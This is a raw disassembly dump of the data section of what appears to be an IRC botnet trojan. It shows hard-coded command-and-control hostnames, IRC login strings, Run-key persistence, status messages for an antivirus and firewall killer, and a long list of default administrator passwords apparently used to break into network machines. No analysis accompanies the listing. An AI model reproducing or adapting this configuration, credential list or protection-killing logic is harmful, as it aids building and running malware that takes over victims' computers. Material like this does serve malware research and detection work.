414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC ; --------------------------------------------------------------------------- lds esp, [ebp-5A3AF03Dh] retn ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- lds esp, [ebp-5A3AF03Dh] retn ; --------------------------------------------------------------------------- db 0Fh dd 0FC3A5C5h, 5 dup(70895139h), 75h dup(0) dd 70895139h, 15h dup(0) dd 0FC3A5C5h, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset byte_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDarksf db 'Darksf',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B0o aMain db 'main',0 ; DATA XREF: ___:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o aBlank db 'blank',0 ; DATA XREF: ___:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A0o align 10h aControl db 'control',0 ; DATA XREF: ___:0042949Co aXp db 'xp',0 ; DATA XREF: ___:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429494o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: ___:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o align 4 aSql db 'sql',0 ; DATA XREF: ___:0042946Co aSa db 'sa',0 ; DATA XREF: ___:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o align 4 aData db 'data',0 ; DATA XREF: ___:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o align 10h aAccess db 'access',0 ; DATA XREF: ___:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429434o align 4 aHello db 'hello',0 ; DATA XREF: ___:00429430o align 4 aHell db 'hell',0 ; DATA XREF: ___:0042942Co align 4 aGod db 'god',0 ; DATA XREF: ___:00429428o aSex db 'sex',0 ; DATA XREF: ___:00429424o ; ___:off_438A68o aSlut db 'slut',0 ; DATA XREF: ___:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o align 4 aLogin db 'login',0 ; DATA XREF: ___:00429404o align 10h aMary db 'mary',0 ; DATA XREF: ___:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: ___:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: ___:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: ___:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: ___:004293E4o aNeil db 'neil',0 ; DATA XREF: ___:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293DCo aBrian db 'brian',0 ; DATA XREF: ___:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: ___:004293CCo aSam db 'sam',0 ; DATA XREF: ___:004293C8o aLuke db 'luke',0 ; DATA XREF: ___:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004293C0o ; ___:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: ___:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: ___:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293ACo aJen db 'jen',0 ; DATA XREF: ___:004293A8o aBob db 'bob',0 ; DATA XREF: ___:004293A4o ; ___:004293F8o aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co aAsd db 'asd',0 ; DATA XREF: ___:00429398o aQaz db 'qaz',0 ; DATA XREF: ___:00429394o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: ___:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o aOem db 'oem',0 ; DATA XREF: ___:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o align 10h aHome db 'home',0 ; DATA XREF: ___:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: ___:00429358o ; ___:004294B4o align 4 aWww db 'www',0 ; DATA XREF: ___:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429350o aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co aMail db 'mail',0 ; DATA XREF: ___:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:00429338o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: ___:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00429320o align 4 aNone db 'none',0 ; DATA XREF: ___:0042931Co align 10h aTest db 'test',0 ; DATA XREF: ___:00429314o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: ___:00429308o align 10h a2001 db '2001',0 ; DATA XREF: ___:00429304o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o a123456 db '123456',0 ; DATA XREF: ___:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: ___:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292E4o align 4 a123 db '123',0 ; DATA XREF: ___:004292E0o a12 db '12',0 ; DATA XREF: ___:004292DCo align 4 a1: ; DATA XREF: ___:0040AFC7o ; ___:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D4o aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o aPass db 'pass',0 ; DATA XREF: ___:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292B8o aDb2 db 'db2',0 ; DATA XREF: ___:00429460o aOracle db 'oracle',0 ; DATA XREF: ___:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429440o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429330o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o aStudent db 'student',0 ; DATA XREF: ___:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: 